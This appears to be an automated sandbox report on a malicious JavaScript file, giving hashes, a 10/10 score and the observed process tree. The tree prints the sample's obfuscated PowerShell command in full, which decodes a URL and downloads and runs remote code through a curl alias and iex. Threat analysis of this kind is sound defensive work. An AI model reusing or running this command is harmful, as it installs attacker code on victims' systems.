Analysis
-
max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:54
General
-
Target
727384a12c8bbcb6b0d8302db8ba0f7e782ebdb48c888142002145fe3bddf6e3.js
-
Size
223KB
-
MD5
5015c64094a1d45a55c3b8fe3576b40a
-
SHA1
2f3217ce899ff9a56e9082a894b0c741d1306946
-
SHA256
727384a12c8bbcb6b0d8302db8ba0f7e782ebdb48c888142002145fe3bddf6e3
-
SHA512
0857daa98619104a8bfd2bf5ba2e41acc7f64229cb82d1b9779849cbcfb80f57f7a13f7ec01f1ce256713051391086ded4b010abd4975c47682273eb49b72501
-
SSDEEP
1536:nwh5ZPFY5rE8WoKguvEFVAmYMrvINjt6xOvwpf66IB9+fpuy05rE8WoKguvEFVAJ:nqFYh3QCKh3UC3Cwh3Eh3t
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\727384a12c8bbcb6b0d8302db8ba0f7e782ebdb48c888142002145fe3bddf6e3.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $colwvkqix='ur' ;new-alias printout c$($colwvkqix)l;$kpowjzmxblrns=(3070,3081,3089,3073,3075,3070,3090,3089,3094,3027,3089,3023,3070,3018,3088,3083,3084,3019,3021,3018,3084,3076,3084,3035,3087,3033,3081,3077,3082,3088,3087,3022,3021);$govzyhsnjapr=('bronx','get-cmdlet');$abzvefl=$kpowjzmxblrns;foreach($dagpuvlsrofh in $abzvefl){$fqzrdtxpesl=$dagpuvlsrofh;$dxmrpe=$dxmrpe+[char]($fqzrdtxpesl-2972);$nrcfvzjxu=$dxmrpe; $jcagnoprvfsthz=$nrcfvzjxu};$wftayoj[2]=$jcagnoprvfsthz;$slbcnpqgrwateu='rl';$drguejtmasn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jcagnoprvfsthz)1⤵
- Process spawned unexpected child process